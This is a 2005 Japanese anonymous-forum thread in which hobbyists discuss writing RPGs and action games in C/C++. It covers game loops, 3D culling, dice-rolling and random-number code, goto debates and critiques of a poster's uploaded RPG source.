プログラムonlyでやってきた人はFLASHの実力にまだ気づいてないからチャンスだよ
156GreatFixer ◆ASWqyCy.nQ :2005/05/14(土) 20:07:27
C言語でアクションゲームを作れるかというと、
ごく一部の人しかできないだろうと思い込んでいるのは私だけか?
157デフォルトの名無しさん:2005/05/14(土) 20:45:51
品質次第だろう。
158デフォルトの名無しさん:2005/05/14(土) 20:47:29
ゲーム向けのライブラリってロクなのないからな
159デフォルトの名無しさん:2005/05/14(土) 22:50:52
周期的な描画と、表示する絵さえ用意できれば、さほど難しいこともない。
160デフォルトの名無しさん:2005/05/15(日) 00:32:48
CreateGame〜陸海空オンライン〜
日本最大MMO製作プロジェクト始動!

有志による企画です。3Dグラフィッカーの参加急募!w
161デフォルトの名無しさん:2005/05/15(日) 01:24:45
>>160
そこ全然募集してないじゃん、2ちゃんねる内じゃないし
162デフォルトの名無しさん:2005/05/15(日) 08:03:00
3DRPGって、つくんのムズイ?
163デフォルトの名無しさん:2005/05/15(日) 08:18:54
>>162
簡単ならフリーの3DRPGが沢山あるはずだが
実際はほとんど無い。つまりそこそこムズイと思われ。
164デフォルトの名無しさん:2005/05/15(日) 10:43:17
3Dには数学的なことが多いからな
165デフォルトの名無しさん:2005/05/15(日) 12:00:45
ソフト高いよ
166デフォルトの名無しさん:2005/05/15(日) 13:54:46
少ないのは3DRPGツクールが無いからじゃね?
それに3Dゲームはウケが悪いよ
2ちゃんねるでRPG作ろうって話が盛り上がっても2Dにしたがるし

>>165
同意
メタセコやブレンダーじゃやってられんし
167デフォルトの名無しさん:2005/05/15(日) 17:10:08
ツクールがあれば当然増えるだろな
> 月に行くのってムズイ?
> 行った人少ないから、ムズイだろ
> 月に行った人が少ないのは自家用ロケットが無いからじゃね?
と同じような話だが
168デフォルトの名無しさん:2005/05/15(日) 18:09:45
おまえらが2Dのツクールしか知らないことはよくわかった
169デフォルトの名無しさん:2005/05/15(日) 18:33:03
よし、じゃあ次作は3Dにする(豪語
170デフォルトの名無しさん:2005/05/15(日) 18:44:50
プログラムもそうだがデータ作る難易度とコストも高いしな>3D
171デフォルトの名無しさん:2005/05/15(日) 19:01:17
一度環境整えば3Dのほうが楽だがな
172デフォルトの名無しさん:2005/05/15(日) 19:29:50
個人でやるなら2Dはきつくね?
173デフォルトの名無しさん:2005/05/15(日) 19:32:21
御託はいいから作って晒せ。
174デフォルトの名無しさん:2005/05/15(日) 20:05:51
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。
ネタ、板とは関係の無い話題はご遠慮ください。
175GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 20:15:41
コンピュータが何かの処理をしながら入力も受け付けるという状態を作る方法が分かれば何とかなりそうなのだが、
巷にあるプログラミングの解説ではそういう話を聞くことがほとんどない。
176デフォルトの名無しさん:2005/05/15(日) 20:25:24
>>175
入力←┐
↓   │
処理  │
↓   │
表示  │
└──┘
ゲームプログラムの基本だが。
177デフォルトの名無しさん:2005/05/15(日) 20:30:50
WindowsならPeekMessageでも使っとけ
178デフォルトの名無しさん:2005/05/15(日) 20:36:29
そこでマルチスレッドですよ
ってそのほうがめんどくさいけどな
179デフォルトの名無しさん:2005/05/15(日) 20:48:59
処理をウィンドウズに返さないといけないのが癌
入門ならコンシューマプログラミングしたほうがいい
エミュレータや資料、ツールもウィンドウズでやるより充実してる
180GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 21:01:07
Re:>>176 それでスーパーマ■オブラザーズのようなゲームはどうやって作るの?それとも「入力」と書いた部分に何か特別な意味があるの?
181デフォルトの名無しさん:2005/05/15(日) 21:03:20
【復刻版】☆沖川君の憂鬱について☆【著作権&転載free】
http://yasushikondo.no-ip.info/all/non-job/index.html
182デフォルトの名無しさん:2005/05/15(日) 21:12:26
>>180
入力は待たなくていい
183GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 21:52:40
Re:>>182 JavaScriptとかHSPならできそうだけど、C++でやれといわれても私にはできない。(プロならできるんだろうけど。)
184デフォルトの名無しさん:2005/05/15(日) 22:00:10
3DRPG作りたいのだが、まったくの初心者どす。
どこでプログラムするか教えて。(詳しく)

プログラムの技術も。
185デフォルトの名無しさん:2005/05/15(日) 22:05:47
>>184 無理。
186デフォルトの名無しさん:2005/05/15(日) 22:11:56
>>183
ANSI C/C++の範囲では無理。
Windowsの窓が開くやつならGetAsyncKeyStateなどを使ってみるとか。
187GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:13:19
アクションゲームを何か別の方法で作ってC言語でそれを呼び出してみるとか。
188GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:14:09
結局[>>152]は単なる釣りだったのか?
189デフォルトの名無しさん:2005/05/15(日) 22:20:07
JavaScriptを実装するのにはたぶんC/C++が使われていると思う。
HSPを実装するのにはたぶんC/C++が使われていると思う。
ツクールを実装するのにはたぶん(ry

こんな具合で結局C/C++へ行き着くと思う。

>>190
「違う、アセンブリだ機械語だ」とか言うんだろ。どうせ
190GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:24:20
Re:>>189 HSPはVCから作られているそうだ。
191デフォルトの名無しさん:2005/05/15(日) 22:24:27
ゲーム作るのってどのくらいかかる?
192GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:25:22
アセンブリなら何でもできるだろうけど…。
193GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:26:31
Re:>>191 たとえば百マス計算を作るとしたら10分間〜1時間ぐらいかな?いろいろなセリフがあるRPGは当然何日かかかる。
194GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:27:56
いや、セリフだけなら半日くらいで終わるだろうな。
システムやルールの構成に半端じゃない時間がかかるかもしれない。
195GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:30:42
商用のRPGなら、グラフィック、サウンドにさらに時間がかかる。
(当然分業でやるだろうけど。)
196デフォルトの名無しさん:2005/05/15(日) 22:35:33
大した技術力もないのに想像でモノを言うなよ・・・・
197GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:36:42
Re:>>196 文句たれる暇があったら、[>>191]に答えてろ。
198デフォルトの名無しさん:2005/05/15(日) 22:40:17
>>197
スレ違い。よそでやれ。
199デフォルトの名無しさん:2005/05/15(日) 23:02:01
質問いいかな
3Dマップをメタセコで作って表示するところまではできた
でも、マップが大きいと処理落ちしてしまう
どうすれば快適に表示できる?
200デフォルトの名無しさん:2005/05/16(月) 00:04:13
シナリオどーすんの
201デフォルトの名無しさん:2005/05/16(月) 00:15:06
いらないよ
202デフォルトの名無しさん:2005/05/16(月) 00:21:28
>>199
見えないところは表示しない
203デフォルトの名無しさん:2005/05/16(月) 01:24:19
>>202
詳しく
204デフォルトの名無しさん:2005/05/16(月) 02:32:22
>>203
超遠くのほうのオブジェクトにポリゴン大量に使っても無駄だし
自分の後ろにあったり建物の陰になって見えないオブジェクトなんか描画したって意味ないでしょ?
205デフォルトの名無しさん:2005/05/16(月) 02:47:25
見えないとこなんて表示しようがないと思うが
たぶん描画命令の回数を減らせってことでしょ?
今はメタセコで作ったから1個のオブジェクトになってて部分表示なんてできないけど
これ分割しとけってこと?
206デフォルトの名無しさん:2005/05/16(月) 03:13:54
視錘台 カリング でぐぐれ。
分割しとけ。
207デフォルトの名無しさん:2005/05/16(月) 03:27:50
考え方はだいたいわかったけど具体的にどうやるの?
208デフォルトの名無しさん:2005/05/16(月) 12:23:56
それを考えたり、調べたりするのがプログラミングの楽しみの一つじゃないか?まぁ苦痛の一つでもあるけどさ

自分ではどんな実装を考えたんだ?
209デフォルトの名無しさん:2005/05/16(月) 13:54:08
メタセコで分割するのは面倒すぎるのでまずはプラグイン作成かなと
210Be名無しさん:2005/05/16(月) 21:20:22
http://tmp5.2ch.net/test/read.cgi/mog2/1116177047/
ここのスレ住人が速攻で回答してくれます
皆さん書き込みしましょう
211デフォルトの名無しさん:2005/05/16(月) 22:13:50
もうだめぽ・・・
RPGつくれない・・
というより音楽とかグラフィックもCでやるの?
RPG作りって、結構時間かかるみたいだけど、一人で作ったことある人は
どのくらいかかったか教えて
212デフォルトの名無しさん:2005/05/16(月) 22:50:34
つーか、へなちょこなRPGならHSPで作るべきだろ。
213デフォルトの名無しさん:2005/05/16(月) 23:47:46
>>211
いきなり大きなものを作ろうとしてない?
背伸びしないで最初は規模の小さなところから始めてみたら?
214デフォルトの名無しさん:2005/05/16(月) 23:52:27
>>62-64は、コーディング、テストプレイ、バランスの調整を含めて3時間ぐらいでした。
コーディング自体は短時間で、あとの2つの方がずっと時間を食いました。ご参考までに。
215GreatFixer ◆ASWqyCy.nQ :2005/05/17(火) 09:21:35
Re:>>211
WWAでこの規模でも製作にかかる時間は48時間以上。(KMFantasy1〜4)
http://www.geocities.jp/kmath1107/wwa/index.html
グラフィックとか音楽をCで作るなんて話は聞いたことが無い。
(私が時々作っている画像ファイル生成プログラムは、既存のファイルを利用しているだけ。)
216デフォルトの名無しさん:2005/05/17(火) 12:57:55
なんでいちいちRe:をつけるの?
217デフォルトの名無しさん:2005/05/17(火) 13:26:57
つけちゃいけないの?
218デフォルトの名無しさん:2005/05/17(火) 14:11:36
どーしても 3D でやりたいって人は
D を Dimension じゃなくて Dice にしてみるのはどーだろう。
219デフォルトの名無しさん:2005/05/17(火) 14:14:46
三択かよ
220デフォルトの名無しさん:2005/05/18(水) 09:04:41
>>219
サイコロ3個だろ。
221デフォルトの名無しさん:2005/05/18(水) 12:02:21
3D6でレベルより値が低ければ成功
222デフォルトの名無しさん:2005/05/18(水) 15:24:56
3Dは、数学的なことも多いが、たまに2Dよりも楽に出来ることがある。

音楽とかグラフィックとかはどんなソフト使ってる?
223デフォルトの名無しさん:2005/05/18(水) 19:56:36
>>218
diceですよ。

#include <stdlib.h>
#include <time.h>
void Randomize(){
    srand(time(NULL));
    int temp=(rand()%100);
    for(int i=0;i<temp;i++){
        rand();
    }
}
int Dice(int Cicle,int Face,int P){//Cicle=ダイスを降る回数。Face=面の数。P=単純にプラスされる数。
    int Total=0;
    for(int i=0;i<Cicle;i++){
        Total += (rand()%(Face-1))+1;
    }

    return Total + P;
}

int main(void)
{   Randomize();
    for(int i=0;i<100;i++){
        std::cout<<Dice(3,6,0)<<std::endl;
    }
    return 0;
}
224デフォルトの名無しさん:2005/05/18(水) 21:05:52
なにこれ。
225C++に移植しました:2005/05/18(水) 21:08:55
うーん。悲しいなぁ…… C++ ソースには書いたんだけどなぁ……
rand のマニュアルを見て欲しいけど、生成する乱数のビットの下位ビットはランダム性が劣るため、
割算の余りを求めるのではなく、上位ビットを使うために生成範囲を求めたい範囲に縮小する
サンプルプログラムが書かれているはずです。
あと、先日移植する時に気づいたのですが、乱数といえば random() だと思って調べたら
ANSI C++ では cstdlib には rand と srand が定義されているだけでした。
この点を考慮したプログラムは次のようになります(特定の回数だけ乱数列をずらすのは省いてあります)
#include <iostream>
#include <cstdlib>
#include <ctime>
int r_gen(int range){
return (int) ((double)range*std::rand()/(RAND_MAX+1.0));
}
void Randomize(){
std::srand(std::time(NULL));
}
int Dice(int Cicle,int Face,int P){
int Total=0;
for(int i=0;i<Cicle;i++){
Total += r_gen(Face)+1;
}
return Total + P;
}
int main(void)
{ Randomize();
for(int i=0;i<100;i++){
std::cout<<Dice(3,6,0)<<std::endl;
}
return 0;
}
226デフォルトの名無しさん:2005/05/18(水) 21:42:43
行動の度に3d6とか入力して進むのか。
227デフォルトの名無しさん:2005/05/20(金) 06:36:41
毎回で悪いんだけど、Cのコードはどこで実行するの?
あと、コンパイラって何?
228デフォルトの名無しさん:2005/05/20(金) 06:56:05
>>227
> Cのコードはどこで実行するの?
IDEとか
> あと、コンパイラって何?
翻訳ソフト
229デフォルトの名無しさん:2005/05/20(金) 11:39:20
ゲ製作技術板のC/C++RPGスレから誘導されてきますた
こっちはソースとバイナリ晒すより雑談メイン?
まだイベントの実装をどうするか悩んでるところです
コンゴともよろしく
230デフォルトの名無しさん:2005/05/20(金) 12:02:04
>>229
何しに来たんだ。
231デフォルトの名無しさん:2005/05/20(金) 16:03:30
コンゴとはよろしくしたいですね
232デフォルトの名無しさん:2005/05/20(金) 18:04:26
>>229
一緒にforthスクリプト作らないKA!?
なんてね。
233デフォルトの名無しさん:2005/05/20(金) 18:20:51
>>225
ほんとはライムチャットのマクロ用なんだけどね。
面倒になって頓挫してるが。

最近、225のような実装を良く見るので何でだろうとおもっていたら、ランダム性を上げるためだったのね。
古の実装しかしらなかったので参考になります。サンキュー。

あと、なんで、あんなRandomaize関数を作ったかというと、
for(int i=0;i<INFINITY;i++){
    srand(time());
    R=rand();
}
こういうコードを書くと、まー当たり前かもしれないけど、数字が著しく偏るからです。
ま、それはそれとして、勉強になりますた。
ありがとう。
234デフォルトの名無しさん:2005/05/20(金) 18:42:20
乱数はメルセンヌツイスター使えばいいじゃん
種はPIDとftimeから算出して
235デフォルトの名無しさん:2005/05/20(金) 19:29:23
RPGなんてやめてRogue作ろうぜ!
236デフォルトの名無しさん:2005/05/20(金) 20:40:35
>>234
僕は数式が読めない上に、公式ページは閉鎖済みのようだ。
後の望みはboostのランダムに採用されてる位だな。
237デフォルトの名無しさん:2005/05/20(金) 20:44:29
>>236
ちゃんと探せ。
238デフォルトの名無しさん:2005/05/20(金) 20:46:07
ちゃんと探しましたがなにか?

馬鹿な人は何も書かなくていいですから^^
239デフォルトの名無しさん:2005/05/20(金) 20:52:44
国外に繋がらないようなネット環境の人なのかな?
でも日本語のページも腐るほど見つかったし。
ネットワーク回りの設定見直したほうがいいよ。
240デフォルトの名無しさん:2005/05/20(金) 21:08:52
もったいつける意味なんかあるの?
241デフォルトの名無しさん:2005/05/20(金) 21:16:08
公式って広島大学じゃないの?
作者のページはそうだよね?
242デフォルトの名無しさん:2005/05/20(金) 21:57:15
243デフォルトの名無しさん:2005/05/20(金) 22:22:56
英字で検索するのを忘れていた。
今は反省している。
244デフォルトの名無しさん:2005/05/20(金) 22:47:04
メルセンヌツイスターのソースが見つかったのは良いけど、
マジックナンバーが多くてなにやってるのかわからない。
srandとrand互換のやつ誰か作ってくれんかの〜。
245デフォルトの名無しさん:2005/05/20(金) 23:00:29
>>244
mt19937ar.cのinit_genrand()がsrand()、genrand_なんたら()ってのがrand()に相当する。
246デフォルトの名無しさん:2005/05/21(土) 09:04:40
BUG取れneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
247GreatFixer ◆ASWqyCy.nQ :2005/05/21(土) 16:41:08
Re:>>246 C/C++でのプログラミングはきれいにソースを書いてもバグ取りが困難な場合があるという。
248デフォルトの名無しさん:2005/05/21(土) 18:06:17
RPG大好きだが、作れない
249デフォルトの名無しさん:2005/05/21(土) 18:22:08
RPGって、移動してモンスターと戦ってなんかお宝とるっていうそういう定義とかあるの?
モンスターと戦う代わりに好きな彼女に告るっていうのだと
「恋愛シュミレーション」って言われてRPGにならないの?
250デフォルトの名無しさん:2005/05/21(土) 18:39:16
Role Playing Game

Role = 役
Play = 演じる
251デフォルトの名無しさん:2005/05/21(土) 20:51:29
よし取れた!この瞬間が快感!でも疲れたorz
252デフォルトの名無しさん:2005/05/21(土) 21:11:58
そんな貴方に
つ[ラブクエスト]
253デフォルトの名無しさん:2005/05/21(土) 21:51:47
>>252
ラヴクエスト
254デフォルトの名無しさん:2005/05/21(土) 22:23:28
>>251
そんなあなたに
上司から電話
255デフォルトの名無しさん:2005/05/22(日) 01:20:56
>>254
上司から電話
256名無しのたぬき:2005/05/22(日) 01:24:38
今から、CでRPG作ってみる。
257デフォルトの名無しさん:2005/05/22(日) 01:43:39
コンソール上のRPGなら簡単に作れるよ
ウィンドウの方もWin32.APIを使えば
258デフォルトの名無しさん:2005/05/22(日) 07:43:44
2000/XPでエスケープシーケンスを使えるようにする方法ない?
259名無しのたぬき:2005/05/22(日) 11:29:41
>>258
ttp://www.kumei.ne.jp/c_lang/intro/no_58.htm

んで、RPGの基礎を作ってみた。

ttp://www.uplo.net/dl.html
ファイル:317 ,パスワード: rpg
↑とりあえず、やってみ。

ソースキボンならキボン汁。
260デフォルトの名無しさん:2005/05/22(日) 14:06:30
俺も昨日からC++といくつかのWindows APIだけでドラクエ3のコピー作ってる。
俺はゲームプログラミングの知識もないから簡単なソースしかかけないけど、別に作れるよな?
とりあえず昨日までで、フィールドマップをロードして、勇者がテクテク歩けるくらいのとこまで作った
ここっていちいち進展報告してもいいのかな?
261デフォルトの名無しさん:2005/05/22(日) 14:08:44
いいよ!ってかソースや実行ファイルのうpキボンヌ!
262デフォルトの名無しさん:2005/05/22(日) 14:39:52
ああ、せめて基本的なとこが全部完成して、ソースも綺麗に清書したらうpするよ
よし…じゃあ逝ってくるか…
263デフォルトの名無しさん:2005/05/22(日) 15:29:31
喪前らが作っているのはRPGじゃない。
ドラクエのクローンゲームだ。
wizardryをプレイしてアンドリュー先生の偉大さを勉強汁
264デフォルトの名無しさん:2005/05/22(日) 16:45:34
RPGって内職みたいでつまらないよね。
単純作業の繰り返しでで数値を上げることに偏執的な喜びを見出すゲームだし。
265デフォルトの名無しさん:2005/05/22(日) 16:59:26
ゲームなんてほとんどそんなもんだ
266デフォルトの名無しさん:2005/05/22(日) 17:17:25
>>265 がイイ事言った。
267デフォルトの名無しさん:2005/05/22(日) 17:43:43
あるスレで、その単純作業をどう面白く感じさせるかが
製作者側の力量にかかるとかなんとか言ってたな
268デフォルトの名無しさん:2005/05/22(日) 19:35:38
自分(プレイヤー)のレベルアップ(を含めた変化全般)を楽しめる要素が
極端に薄いんだよなー、RPGは。
そこいらへんで「所詮単純なデータいじり」という本質が透けてしまうって感じ。
269デフォルトの名無しさん:2005/05/22(日) 19:45:17
>>264
マジレスすると、単純作業の繰り返しでで数値を上げることに偏執的な喜びを見出すゲームは、
RPGじゃなくて、育成ゲームだ。
もしかして、敵と戦ってレベルが上がるゲームを作ればRPGになると思っているのか?
もっと英語の勉強をしろよw
270デフォルトの名無しさん:2005/05/22(日) 20:13:33
>>269
あまりに的外れな突っ込みにワラタ
271デフォルトの名無しさん:2005/05/22(日) 21:01:11
最近はまともなRPGもいくつかあるよ
272デフォルトの名無しさん:2005/05/22(日) 21:56:48
ドラクエのような超大作を作った夢を見た。
実際にやろうとしたら、C言語がどうゆうものかも分からなかった。
273デフォルトの名無しさん:2005/05/22(日) 22:19:58
>>272
ガンバレ、若き少年よ。
274デフォルトの名無しさん:2005/05/22(日) 23:34:49
>>62-64のコードってどこが素晴らしいの?
goto使っちゃってるじゃん
275デフォルトの名無しさん:2005/05/22(日) 23:36:41
276デフォルトの名無しさん:2005/05/22(日) 23:46:50
本物のプログラマはgotoを恐れないのかwwwwww
277デフォルトの名無しさん:2005/05/22(日) 23:59:09
つまりクソ不便な環境やコードでも平気なのが本物ということか?
278デフォルトの名無しさん:2005/05/23(月) 00:20:41
gotoをどのように使ってるかが大事であって
ただ使ってるから盲目的にだめというやつの話は信用できない
279デフォルトの名無しさん:2005/05/23(月) 00:25:37
gotoを使うなと(受け売りじゃなくて)本気で言い出す奴は
オブジェクト指向信者みたいな一種の制御構造信者なんじゃないかと思う
280デフォルトの名無しさん:2005/05/23(月) 00:29:14
goto使うなってのは、C言語時代にグローバル関数使いまくり、
ロングジャンプしまくりのソースが大量にあった時の話だろ?
今はほとんどそんなことはない。
それを延々と盲目的に受け継いできた奴らが悪い。
281C++ に移植しました:2005/05/23(月) 00:52:46
>>274
「攻撃、敵の処理」「逃げる、失敗時の敵の処理」と二つの流れがある時、
敵の処理をどう共通化するか何通りか方法を考えて、その上で goto の価値を
考えてみたら?
282デフォルトの名無しさん:2005/05/23(月) 01:17:41
何が何でもgotoダメという奴はgotoなしで同等のコードを書いてみろといいたい
そうすればどっちが見やすいのか比べられるじゃないか
283デフォルトの名無しさん:2005/05/23(月) 01:31:53
ループも所詮if+goto
284デフォルトの名無しさん:2005/05/23(月) 11:57:50
>>274
「gotoを使うのは駄目なプログラム」なんてたわごとどこで習ったんだ?
285デフォルトの名無しさん:2005/05/23(月) 13:23:51
たぶんBASIC時代かと
それも行番号が必ずつくやつ
286デフォルトの名無しさん:2005/05/23(月) 16:31:32
CとC++どっちの方がいい?
287デフォルトの名無しさん:2005/05/23(月) 16:37:11
C がうまくなるってポインタがばりばり使えるようになることだけど、
C++ がうまくなるってテンプレートをばりばり使えるようになることなのかな?
メモリ管理とかどっちが楽なんだろうか?
288デフォルトの名無しさん:2005/05/23(月) 17:28:49
メモリ管理はC++の方が断然楽だよ
Cではポインタを使わざるを得ない文字列やらリストやらはC++標準ライブラリやSTL使えばポインタ使わなくて済むし
デストラクタで自動的に開放させればメモリ管理をクラス内にカプセル化できるし
ガベージコレクタとまではいかないが自動的にポインタを開放してくれる機構が一応STLやBoostにあるし
289デフォルトの名無しさん:2005/05/23(月) 19:33:38
そうなのだろうか?
Effective Java とか読むと、 Java ですら Stack を POP した時、取り出した値を
delete しないとメモリリークが発生するとか書かれているけど、 C++ でそういう
「こんな時はちゃんとデストラクタ呼ぼうね」みたいな個別のお約束っていっぱい
ないのかな?
C++のメモリ管理って半自動なんじゃないかなぁ……
290デフォルトの名無しさん:2005/05/23(月) 19:40:36
CとC++はどっちのほうが初心者向け?
(Cやったこと無い人)
291デフォルトの名無しさん:2005/05/23(月) 19:52:58
どっちも初心者向けではない
292デフォルトの名無しさん:2005/05/23(月) 20:22:26
>>289
CとC++で比較した場合C++のほうが優れているって話だと思うが。
293デフォルトの名無しさん:2005/05/23(月) 20:23:47
>>289
> Java ですら Stack を POP した時、取り出した値をdelete しないとメモリリークが発生する

Javaで取り出した値をdelete???

>個別のお約束っていっぱいないのかな?

とりあえずいっぱいあります
でもC言語とどっちがメモリ管理が楽かと聞かれれば間違いなくC++

>C++のメモリ管理って半自動なんじゃないかなぁ……

冷静に考えたらデストラクタで自動的に開放はかなりマズい表現だ・・・orz
デストラクタにメモリ開放のコード書けばあとはdeleteなりスコープから外れるときに自動で開放してくれるってことです
一応スマートポインタというのもあるしね
294デフォルトの名無しさん:2005/05/23(月) 20:33:35
C++はC言語の95%ほどの実行速度らしい。

でも、ライブラリの充実度とか考えると、C言語なんて使ってられんよ。
オブジェクト指向じゃないと、コンポーネントの使い回ししづらい。
295デフォルトの名無しさん:2005/05/23(月) 21:30:01
じゃあC++をCに書き換えるプリプロセッサを作れば5%速度アップだね
296デフォルトの名無しさん:2005/05/23(月) 21:40:10
C++でどんなのが出来るの?
297デフォルトの名無しさん:2005/05/23(月) 21:41:44
>>294-295
単純にクラスを使うくらいならCと全く同じ速度になるはず。
Cより遅い分は例外とかRTTIとか。
298デフォルトの名無しさん:2005/05/23(月) 22:13:27
286 :デフォルトの名無しさん :2005/05/23(月) 16:31:32
CとC++どっちの方がいい?

290 :デフォルトの名無しさん :2005/05/23(月) 19:40:36
CとC++はどっちのほうが初心者向け?

296 :デフォルトの名無しさん :2005/05/23(月) 21:40:10
C++でどんなのが出来るの?



この手のアフォくさい質問はスルーすることにしないか?
はっきり言ってスレ違い。ヨソでやってホスィ
299デフォルトの名無しさん:2005/05/23(月) 22:32:00
いやこのスレは元々>>1の発言に萌えるスレだと思うわけでつよ!
>>147-151とか>>227とか。個人的に 286=290=296=1 であって欲しいところでつ。
300名無しのたぬき:2005/05/24(火) 01:13:47
何とか、やっとこさマトモっぽい移動ができる様になった。
GDI+が無かったら今頃シンデた。

C言語でRPGってムツカシイね。

ソースだけど、見たら「エッ! コレで動くの?」と、
言われるのが必須なので修正するけ。

ttp://www.uplo.net/dl.html
ファイル:332, パスワード: rpg

>>260
ガンガレ。
301デフォルトの名無しさん:2005/05/24(火) 01:25:59
ソース無いと何も楽しくねぇ
302デフォルトの名無しさん:2005/05/24(火) 07:38:45

GDI+ってC++じゃないとできないんじゃないか?
303GreatFixer ◆ASWqyCy.nQ :2005/05/24(火) 13:53:12
Re:>>300 ソースがないとこのスレに来る意味がないわけだが。
304デフォルトの名無しさん:2005/05/24(火) 13:56:00
>>300
C言語ならSDL使えば多少は楽になるんじゃねぇか?
305デフォルトの名無しさん:2005/05/24(火) 14:17:13
せっかくだからSDLでマップチップ型のRPGの移動部分作ろうかなとネットで資料漁ってたらそのものズバリのソースが出てきてモチベーションなくしたorz

http://tokyo.cool.ne.jp/sdl/index16.html
306名無しのたぬき:2005/05/24(火) 21:33:11
>>301,303
ttp://www.uplo.net/dl.html
ファイル:338, パスワード: rpg

△ ソース付きぢゃ。 >>301 は楽しくナレ。

>>302
無理矢理GDI+ツカットルから、CとC++の混合ソースにナットル。

ってか、現状のソースだと [画像表示してその上動く] だけで
マップチップ型のRPGにできナイ。

それとも、マップチップ型のRPGを止めて、あえて独自の方法を使うのどっちがイイだろ?

ちなみに今、考えてる新しい、無謀っぽい方法。

1. 画像を読み込む
2. その画像の移動禁止座標を書き込んだファイルを読み込む
3. そのファイルに沿って移動する
4. ついでにイベント座標を書き込んだファイルも読み込んでチェックする

△ 実現できるカナ?

タスケレ。
307デフォルトの名無しさん:2005/05/24(火) 22:38:00
キャラ単位で座標管理やればできそうな予感。
308デフォルトの名無しさん:2005/05/24(火) 22:47:56
>>306
つうかマップチップ型でも結局はそんな感じになると思われ・・・
309名無しのたぬき:2005/05/24(火) 23:54:01
>>308
よく考えたら結局同じだと気づいた始末。

>>307
とりあえずガンガッってみる。

ってか、誰かソースについて突っ込め。
310デフォルトの名無しさん:2005/05/25(水) 07:40:23
じゃぁ、とりあえず突っ込む。
--
if(bDirect==SCROLL_DOWN)
bDirect = SCROLL_DOWN2;
else if(bDirect==SCROLL_DOWN2)
bDirect = SCROLL_DOWN;
else bDirect = SCROLL_DOWN;
--
ロジック整理汁。
311GreatFixer ◆ASWqyCy.nQ :2005/05/25(水) 12:50:12
Re:>>309 私がC/C++のソースではないと思うのは私の経験不足から来るものか?
312デフォルトの名無しさん:2005/05/25(水) 12:51:13
コテはキモイのが多いな
313デフォルトの名無しさん:2005/05/25(水) 14:45:41
突っ込みどころが多すぎて……
取り敢えずいくつか。
・グローバル変数は避けよう。
#v_pos, h_pos,...
・一塊の属性みたいなものは纏めて構造体にしよう。
#h_charpos, v_charpos, bDirect
・いくらなんでもこれは阿呆過ぎ。
--
//背景のポジションの符号を反転
h_pos = h_pos - (h_pos*2);
v_pos = v_pos - (v_pos*2);
--
単純にh_pos = -h_pos;でいいし、コメントつけるまでもない。
・中括弧のコーディングスタイルは統一しよう。
#ScrollEventFunc.cppなんてもう、ぐちゃぐちゃ
・これも無駄だな。
#MoveWindow(hChild, rc.left, rc.top, rc.right, rc.bottom, TRUE);
rcに入れる意味がねぇ。
・構造体の型をあちこちで定義するな。
#struct GLOBAL
314デフォルトの名無しさん:2005/05/25(水) 14:46:31
>>311
釣れますか?
315デフォルトの名無しさん:2005/05/25(水) 14:48:42
自分では何も産み出さないのに添削だけは立派だな
評論家ですか
316デフォルトの名無しさん:2005/05/25(水) 14:53:21
>>315
釣れますか?
317GreatFixer ◆ASWqyCy.nQ :2005/05/25(水) 14:56:32
Re:>>314 そこそこに。
318デフォルトの名無しさん:2005/05/25(水) 15:44:43
とりあえず
Thumbs.dbはいっしょに入れないで。
319デフォルトの名無しさん:2005/05/25(水) 15:56:18
過去のバージョンもいらないね。
320デフォルトの名無しさん:2005/05/25(水) 16:05:23
.objと.pdbと.mapもいらないね
321デフォルトの名無しさん:2005/05/25(水) 20:52:41
一気に糞スレ化
322デフォルトの名無しさん:2005/05/25(水) 21:11:55
>>321-322
これらのカキコのせいでな。
323デフォルトの名無しさん:2005/05/25(水) 21:21:48
ttp://www.uplo.net/dl.html

ファイル: 355
パスワード: rpg

やる気の無いところを感じてもらおうか。

#キャラ拝借しておきました。
324デフォルトの名無しさん:2005/05/25(水) 22:09:15
>>322
ああ、そうだなw
325名無しのたぬき:2005/05/25(水) 23:39:11
>>310,313
突っ込まれた所を自分なりに直してみた。
次、うpするとき確認よろ。

>>323
うーむ。
自分の書いたコードと比べると恥ずかしくナッタ。

#2. その画像の移動禁止座標を書き込んだファイルを読み込む
#3. そのファイルに沿って移動する
△ 詰まった。どーしよう?

解決策とか思いついたら、言ってくれるとタスカル。(´・ω・`)
326デフォルトの名無しさん:2005/05/25(水) 23:56:10
>>325
正方形のマスに区切って管理したほうがいい
RPGで1ピクセル単位の移動ができたってうれしくもなんともない
327ベーマガ世代:2005/05/26(木) 02:09:25
ソースはこのスレにコピペしてホスィ
328デフォルトの名無しさん:2005/05/26(木) 05:09:24
>>325
簡単な方法ではマップと同様の形式で当たり判定用のレイヤーを
持っておく。んでキャラクタの移動予定地と比較。
329デフォルトの名無しさん:2005/05/26(木) 19:24:51
今日もドラクエのような超大作を作った夢を見た。
実際にやろうとしたら、C言語がどうゆうものかも分からなかった!
いい加減むかつーく
330デフォルトの名無しさん:2005/05/26(木) 19:28:01
JABAとCとC++は、どれがやりやすいんすか?
331デフォルトの名無しさん:2005/05/26(木) 19:35:01
332デフォルトの名無しさん:2005/05/26(木) 20:09:06
JABAはやめたほうがいいな
Javaならいいけど。
JavaだとCに比べたら糞楽だぞ。
333デフォルトの名無しさん:2005/05/26(木) 21:24:42 BE:115694892-
>>332
JABAとJavaの違いに今気づいた俺・・・逝ってくる
334デフォルトの名無しさん:2005/05/26(木) 21:46:02
JABA って結構就職に有利らしいね。これからは JABA なのかなぁ……
日本人には Java と発音を区別するのが難しいけどね。
335デフォルトの名無しさん:2005/05/26(木) 22:15:13
336デフォルトの名無しさん:2005/05/27(金) 06:47:15
>>334
JABAを制する者は世界を制すとまで言われ始めてるのに
なに悠長なこと言ってんのさ。
